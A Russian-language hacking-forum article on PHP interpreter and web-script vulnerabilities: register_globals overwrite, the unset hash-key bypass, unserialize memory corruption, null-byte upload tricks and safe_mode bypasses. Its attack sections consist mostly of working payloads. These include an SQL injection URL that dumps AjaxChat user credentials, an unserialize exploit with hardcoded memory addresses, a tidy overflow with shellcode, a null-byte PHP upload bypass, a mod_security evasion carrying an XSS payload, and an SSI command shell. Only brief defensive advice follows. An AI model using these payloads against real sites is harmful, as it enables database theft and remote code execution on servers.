----[ REGISTER_GLOBALS ... ]

Одной из самых опасных уязвимостей в веб приложениях по-прежнему остается перезапись глобальных переменных , которая может
привести к разным последствиям - начиная от раскрытия пути и заканчивая удаленным выполнением кода. Однако еще с четвертой
ветки php появилась возможность отключить регистрацию глобальных переменных путем извлечения данных из GET,POST,COOKIE массивов.

Рассмотрим классический пример global overwrite , создав простой php скрипт с всего лишь одной строчкой кода.

PHP код:

php -> echo $GLOBALS['example']; 


Для присвоения данных переменной достаточно обратиться к скрипту с параметром example=itdefence , в результате
увидем высвеченное значение itdefence. Некорректно обрабатывать обнуление переменных только из GET/POST массивов ,
передав дополнительный заголовок браузера мы получим тотже самый результат.

PHP код:

cookie -> example=itdefence 


----[ _FILES GLOBAL MODE ... ]

Недавно люди из hardened-php опубликовали описание нового способа перезаписать значение переменной , используя загрузку файла.
Это происходит потому что _FILES является частью массива _POST . Для начала напишем скрипт отправки и приема загруженных файлов.

PHP код:

<form method="post" action="example.php" encode="multipart/form-data">
       <input type="file" name="example" />
       <input type="submit" name="submit" />
    </form>
    
    <?php
    if(isset($_FILES["example"])) 
    {
    
        copy($_FILES["filename"]["tmp_name"],'/');
        
    }
     echo $GLOBALS['example'];
    ?>

Пробуем залить файл с именем itdefence.txt и видим в качестве результата не только залитый файл , но и присовоенное значение
переменной example значение itdefence.

----[ GLOBALS OVERWRITE ... ]

Поскольку большинство систем работает только с включенным режимом register_globals , а многие веб хостинг с целью обеспечения
безопасности своих клиентов отключают эту переменную , программисты придумали пару методов для помещений перемен в область
глобального видения , которые в реализации гораздо легче чем изготовление патчей . Одной из таких функций является
import_request_variables , в качестве параметра выступает строка , определяющая порядок помещения переменных в superglobal
из массива _REQUEST. Небезопасное использование функции позволяет перезаписать произвольные переменные пришедшие с клиентской
стороны. Стоит использовать import_request_variables вместе со вторым параметром - префиксом будущих функций . Несмотря на то ,
что баг был обнаружен в 2005 году , ему небыло присвоено критическое значение .

PHP код:

php ->    import_request_variables("GPC"); 


Обратившись к скрипту с параметром _SERVER[REMOTE_ADDR]=itdefence , мы перезапишем ключ массива , содержащий в себе адрес посетителя,
а так как многие системы управления контентом не фильтруют этот на первый взгляд безопасный параметр , рождается куча способ атаки - от
снятия блокировки на сайте до выполнения произвольного sql кода.

Вторая , не менее опасная и распространенная функция для эмуляции register_globals является extract . Чтобы избежать перезаписи уже
существующих переменных рекоммендуется использовать флаг EXTR_SKIP , который при попытки поместить переменную в глобальное окружение
проверит на существование и лишь в случае отсутствия в адресном пространстве такого ключа создаст.

PHP код:

php ->    extract($_REQUEST); 


----[ UNSET WHACKING ... ]

Обнаруженная в конце 2006 года и уже успев стать популярной , уязвимость в вызываемой функции unset , изначально именуемой
Zend_Hash_Del_Key_Or_Index достойна отдельного внимания . Ровно шесть месяцев ушло у авторов php на устранение этой критический
уязвимости.Для того чтобы лучше понять суть бага , надо понять основы хранения данных в php . Zend Engine HashTables является
"контейнером" для информации , поступишвей со стороны клиента , такие как суперглобальные массивы COOKIE , POST , GET .
HashTable хранит ключи-указатели на содержимое переменных , и как оказалось несет в себе критический баг - подставив цифровое
значение переменной можно перезаписать буквенно-цифровое представление . Такие уязвимости могут быть проэксплуатированны только
в случае включенного потенциально-опасного параметра register_globals в настройках php . Хэш-таблицы Zend Engine "знают" два
типа индексов в PHP4: цифровые и буквенно-цифровые . Если индекс состоит только с цифр он автоматически обрабатывается
как цифровой . В PHP5 это нетак , поскольку PHP5 "знает" о таблицах имён и о простых хэш-таблицах . В таблицах имён цифровые
индексы все ещё обрабатываются автоматически .

Брешь заключается в некорректном условии проверки - если мы пытаемся вызвать unset для цифро-буквенной переменной и в списке
переменных есть цифровой хэш ключ с идентичным значением , то php удалит ключ но не саму переменную , то есть после вызова
unset мы можем использовать значение в дальнейшем . Для нас является положительным тот факт что unset чаще всего используется
в начале кода для того чтобы принудительно запретить использование опасных ключей .

Указать ключ переменной можно не только при включенном superglobals моде , но и упомянув значение в массиве _FILES
о чем я писал выше . Так был написан эксплоит для форумного скрипта vBulletin и популярного блог движка WordPress .

Расмотрим реализацию на примере AjaxChat.Последнюю версию можно взять с ajchat.sourceforge.net . Авторы данного чата
позволяют создавать виртуальные комнаты только состоящие из букв , что явно видно в этом участке кода

PHP код:

if (isset($_GET["s"]))
    {
    
        $_GET["s"] = strtoupper($_GET["s"]);
        if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z') {}
        else unset($_GET['s']);

    } 


В дальнейшем если переменная "s" из массива _GET прошла фильтрацию , ищущий виртуальные комнаты,
похожие по написаню с введеной в строке поиска строке и дальнейший вывод всех данных из масива на страницу.

PHP код:

mysql -> SELECT `roomname`, `updated` FROM `rooms` WHERE `roomname` LIKE '%$s%' AND`updated` > 0 ORDER BY `roomname` ASC ; 


С первогов взгляда - код правильный , но стоит переопределить переменную "s" , идущую в GET запросе , чтобы выполнить
произвольный sql запрос . Высчитаем hash_del_key для обоих версий php

PHP код:

calc -> PHP5 hash: 5863704 , PHP4 hash: 5861526 


Для того , чтобы хеш переменной засчитался , сначала надо присвоить саму переменную и только после делать подставление наших ключей.
Наш запрос для извлечения юзеров принимает вид

PHP код:

browser -> directory.php?s=' and 1=2 union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1 


Прерывая одинарной ковычкой оригинальный запрос мы вставляем выборку полей с номером , именем , паролем и почтовым адресом юзера
, обьединенных с помощью функции concat_ws , в результате чего получаем нужные данные.

Не стоит отказываться от unset , одним из способ решения уязвимости является принудительно приравнивание переменной к NULL
, либо двойной вызов этой функции ( по рекоммендации автора minibb ).Рекоммендуется скачать патч со страницы авторов ,
обнаруживших этот баг ( http://www.hardened-php.net/hardening_patch.14.html )

Такой же опыт можно провести , совместив аплоад файла и unset bug . Модифицируем код,где 1322199023 и 1154731405 хеш ключи переменной example
сразу для двух версий php - четвертой и пятой

PHP код:

<form method="post" action="example.php" encode="multipart/form-data">
       <input type="file" name="example" />
       <input type="submit" name="submit" />
       <input type="file" name="1322199023" />
       <input type="file" name="1154731405" />
    </form>
    
    <?php
     if(isset($_FILES["example"])) 
     {
      unset($_FILES["example");
     }
     echo $GLOBALS['example'];
    ?>

После загрузки файла itdefence.txt мы все равно увидим значение переменной example.

----[ UNDER WHAT? UNDER SERIALIZE !... ]

PHP функция un/serialize используется для помещения данных в строку , представляющую из себя сериализованный массив . Часто
его используют для упрощения структуры хранения Cookie данных юзера . В различных версиях интерпретатора существовало не менее
пяти багов в этой функции - от банального переполнения буфера до получения нужной информации . На основе этой бреши для phpbb2
был написан эксплоит , представляющий из себя очень длинную строку , посылаемую разбитой в несколько частей в заголовке cookie ,
предварительно закодированной в url представлении . Большое колличество вложеных сериализированных массивов может запросто подвесить
php интерпретатор . В последствие это переросло в integer overflow в вызове функции ecalloc . В таком случае памяти выделится куда
больше чем было выделено под операцию обратную сериализации и приведет к исполнению кода после того как переменная будет удалена
из Zend HashTable.

PHP код:

php -> $str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"'; unserialize($str); 


Эксплоит для linux , где адрес 0x08064058 является свободным для php , эксплоит выглядит так

PHP код:

php ->  $hashtable = str_repeat("A", 39);
    
    $hashtable[5*4+0]=chr(0x58);
    $hashtable[5*4+1]=chr(0x40);
    $hashtable[5*4+2]=chr(0x06);
    $hashtable[5*4+3]=chr(0x08);
    $hashtable[8*4+0]=chr(0x66);
    $hashtable[8*4+1]=chr(0x77);
    $hashtable[8*4+2]=chr(0x88);
    $hashtable[8*4+3]=chr(0x99);

    $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
    for ($i=0; $i<65535; $i++) {
    $str .= 'i:0;R:2;';
    }
    $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';

    unserialize($str); 


Полученный результат нужно использовать как аргумент при использовании unserialize.

----[ SPECIAL CHARS ... ]

Использование специальных непечатаемых символов в качестве аргументов , передаваемых функции часто приводит к очень "радостным"
результатам . Например прежде чем поместить ip адрес в базу данных его часто проверяют функцией ip2long , которая в случае если
адрес является неправильно сформированным вернет -1.

PHP код:

php -> ip2long ('123.231.222.111"'); -- -1 


Однако немного помучав функцию мы можем увидеть что строка , содержащая в себе символы , чьи коды равны 0,9,10,11,12,13 либо 32 вернет
неотрицательный результат.

PHP код:

php ->
    
    for ($i=0; $i<=255; $i++)
    {
        echo $i.":".ip2long("1.1.1.1".chr($i)."'or'a'='a'/*")."\r\n";
    } 


На примере minibb взлом будет выглядеть так

PHP код:

header -> X-FORWARDED-FOR: 1.1.1.1[CHR(0)]'union select 1 


Использование нашего sql запроса является хоть и неудобным - потребуются специальные програмы чтобы отправить заголовок , но в таком
случае мы находимся в выигрыше - magic_quotes_gpc не распространяется на этот тип данных . К сожалению в minibb провести атаку не получится
- на строку выделяется всего 16 символов плюс один символ наш .

Функция из пакета tidy tidy_parse_string как и ее обратная - tidy_repair_string при локальном использовании позволяют переполнить
буфер с последующим выполнением шеллкода . Этот набор функций часто используется в wiki - скриптах.

PHP код:

php -> tidy_parse_string(1,str_repeat("A",2036)."\x8B\x51\x81\x7C".str_repeat("\x90",12).$shellcode,1); 


Очень серьезной является ошибка в функциях copy и move_uploaded_file - существуют символы , которые "обрубают" строку - аргумент
до вхождения этого символа . Обычно это null byte , а в некоторых nix системах и слеши .

PHP код:

php -> $filename    = trim($fileinfo['name'], "\x00..\x1F"); 


Напишем скрипт , ничуть не отличающийся от множества , используемых для аплоада файла с проверкой расширения.

PHP код:

<?php

        $filename   = $_FILES['userfile']['name'];
        $allowed     = array ('gif','png','jpg');
        $tmpname    = explode('.',$filename);
        $extension     = $tmpname[count($tmpname)-1];
        $allowed     = in_array($extension,$allowed) ? true : false ;
        if ($allowed)
        {
            move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
            echo 'uploaded!';
        }
        else
        {
            echo 'aaah noooo!';
        }
        
    ?>

    <form enctype="multipart/form-data" action="test.php" method="post">
    Отправить этот файл: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
    </form>

На первый взгляд вполне логично , что файл с именем file.jpg.php не пройдет проверку , однако попробуем вставить null bute в имя файла и
в конечном виде получится чтото вроде my_data.php%00.jpg . Удачная попытка и наш файл залить с именем my_data.php . Такой же баг присутствует
и в функции copy().

Mod_secuirity , часто устанавливаемый вместе с апачем тоже подвержен уязвимостям . Внедря null byte в POST заголовок мы обманем фильтр
и не оставим в логах никаких записей , тк ids посчитает %00 концом строки

p

PHP код:

hp -> curl  http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent <script>alert(/xss/);</script> 


Для облегчения труда был написан комплекс скриптов для тестирования функций на предмет переполнения буфера в передаваемых аргументах.
Одна часть скрипта получает список всевозможных функций и запускает второй скрипт с аргументом , вызывающий функцию по имени аргумента
и логирующий каждую ошибку.

----[ BASE DIR && SAFE MODE ... ]

Защищенный режим в PHP - это попытка решить проблему безопасности на совместно используемых серверах. Несмотря на то, что концептуально
неверно решать эту проблему на уровне PHP , но поскольку альтернативы уровня веб-сервера или операционной системы на сегодняшний день
отсутствуют, многие пользователи, особенно провайдеры, используют именно защищенный режим. Для управлением safe_mode в файле настроек php
имеется пара директив , определающих поведение безопасного режима.

safe_mode - отключает \ включает защищенный режим
safe_mode_gid - определяет доступ к скрипту по uid вызывающего его юзера
safe_mode_include_dir - разрешает подключение файлов только из определенной директории
safe_mode_exec_dir - разрешает выполнять команды оболочки только в определенной директории
safe_mode_allowed_env_vars - разрешает модификацию переменных , имеющих в названии определенную приставку
safe_mode_protected_env_vars - запрещает модификацию переменных при любом раскладе
open_basedir - ограничивает спискок файлов и директорий на чтения , не влияет состояние режима safe_mode
disable_functions - зарпещает выполнение функций из списка

В случае открытия файла , права на который не совпадает с правами юзера выдастя ошибка

PHP код:

    error -> Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not  allowed to access /etc/passwd 
    owned by uid 0 in /docroot/script.php on line 2 


Тот же самый эффект мы наблюдаем и с base_dir

PHP код:

error -> Warning: open_basedir restriction in effect. File is in wrong directory in  /docroot/script.php on line 2 


К сожалению , а может и к счастью safe mode уже научились обходить причем способом куча и редко встретишь сервер где не работает
ни один . Например одним из последних способов обмануть base_dir является принудительное выставление session.save_path в директорию ,
доступную на чтение.

PHP код:

php ->  ini_set("session.save_path", "/sessions/user2/");
    putenv("TMPDIR=/sessions/user2/");
    ini_set("session.save_path", "");
    @session_start(); 


Использование префикса compress.bzip2:// или zip:// не учитываеся в safe mode , что позволяет читать файлы вне разрешенных директорий.
Логично , что действие safe mode распространяется только на php скрипты и мы можем использовать perl , python или SSI (Server Side Includes).
Для того чтобы последний метод заработал , надо выставить в апаче некоторые параметры запуска для файла в .htaccess

PHP код:

AddType text/html .shtml
    AddHandler server-parsed .shtml
    Options +Includes 


И для того чтобы удобнее было использовать напишем своеобразный шелл на javascript

PHP код:

function execute() 
    {
        var cmd = document.exec.cmd.value;
        document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>');
    } 


Не стоит отказываться от использования safe mode , достаточно следить за обновлениями php и своевремено ставить нужные патчи .
Другим действенным методом является внедрение сторонних разработок , таких как suPHP , разграничивающих использование скриптов в
зависимости от выставленных прав либо поставить phpsafemode.patch , принцип работы которого не особо отличается от предыдущего варинта.

----[ SUHOSIN... ]

Кто как не автор многочисленных багов в php , описанных в этой статье , может понимать что нужно для того чтобы ваш сервер был защищен
от уязвимостей не в ваших скриптах . Так и был написан проект "suhosin" , работающий как плагин и защищающий от всех известных и пожалуй
множества неизвестных атак и уязвимостей.

features -> защита от переполнений буфера
защита от нарушения zend hash table
защита от format string
симулирует работу скриптов
добавляет поддержку sha256 в ядро php
добавляет ключ BLOWFISH к функции crypt
выключает поддержку phpinfo
защищает от sql нападений
шифрация cookie на лету
запрещает подключение загруженных файлов
запрещает инклуд удаленных и локальных файлов
отключает модификатор /e у preg_replace
возможность отключить eval()
фильтрует разделенные http запросы
не позволяет перезапись переменных
фильтрация входящих данных для mail()

А также еще кучу настраиваемых мелочей для вашей безопасности . Имеет кучу способов отражения атаки и действий при обнаружении - от
выдачи предупреждения до уникального блокирования . Ведет логирование всех небезопасных функций

Одобрено автором статьи , но рекоммендуется использовать только в случае если есть необходимость в небезопасных функциях . Лучще сразу
писать безопасно.

----[ EOF ... ]



Как видно , существует множество функций и плагинов с уязвимостями , которым авторы веб скриптов не придают значение либо просто не
догадываются о возможности эксплуатации брешей в их скриптах , да и разработчики php не с особой охотой выпускают патчи для своего продукта.
Наше дело облегчает google code search , позволяющий искать вызываемые функций по базе , содержащей в себе множественные пакеты разработки.

При написании статьи были использованы материалы

0x00 rgod`s php advisories
0x01 hardened-php project`s advisories
0x02 перевод NeMiNeM`ом статьей с hardened-php.net
0x03 авторские советы и обмен опытом с Elekt`ом
0x04 month of php bugs blog
0x05 p-range за метод c ssi

Рекоммендуется к прочтению и ссылки из статьи

http://www.hardened-php.net/suhosin/ [SUHOSIN]
https://forum.antichat.ru/thread45424.html [php bof functions fuzer]
http://www.php-security.org/
http://www.hardened-php.net/

(c) antichat.ru , itdefence.ru